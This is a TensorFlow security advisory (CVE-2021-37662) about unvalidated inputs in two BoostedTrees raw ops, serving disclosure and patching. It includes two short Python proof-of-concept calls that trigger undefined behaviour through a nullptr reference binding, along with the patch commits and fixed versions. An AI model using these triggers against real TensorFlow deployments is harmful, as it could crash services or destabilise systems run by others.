## TFSA-2021-136: Reference binding to nullptr in boosted trees

### CVE Number
CVE-2021-37662

### Impact
An attacker can generate undefined behavior via a reference binding to nullptr
in `BoostedTreesCalculateBestGainsPerFeature`:

```python
import tensorflow as tf

tf.raw_ops.BoostedTreesCalculateBestGainsPerFeature(
  node_id_range=[],
  stats_summary_list=[[1,2,3]],
  l1=[1.0],
  l2=[1.0],
  tree_complexity =[1.0],
  min_node_weight =[1.17],
  max_splits=5)
```

A similar attack can occur in `BoostedTreesCalculateBestFeatureSplitV2`:

```python
import tensorflow as tf

tf.raw_ops.BoostedTreesCalculateBestFeatureSplitV2(
  node_id_range=[],
  stats_summaries_list=[[1,2,3]],
  split_types=[''],
  candidate_feature_ids=[1,2,3,4],
  l1=[1],
  l2=[1],
  tree_complexity=[1.0],
  min_node_weight=[1.17],
  logits_dimension=5)
```

The
[implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/boosted_trees/stats_ops.cc)
does not validate the input values.

### Patches
We have patched the issue in GitHub commit
[9c87c32c710d0b5b53dc6fd3bfde4046e1f7a5ad](https://github.com/tensorflow/tensorflow/commit/9c87c32c710d0b5b53dc6fd3bfde4046e1f7a5ad)
and in commit.
[429f009d2b2c09028647dd4bb7b3f6f414bbaad7](https://github.com/tensorflow/tensorflow/commit/429f009d2b2c09028647dd4bb7b3f6f414bbaad7).

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this
commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are
also affected and still in supported range.

### For more information
Please consult [our security
guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
more information regarding the security model and how to contact us with issues
and questions.

### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo
360.
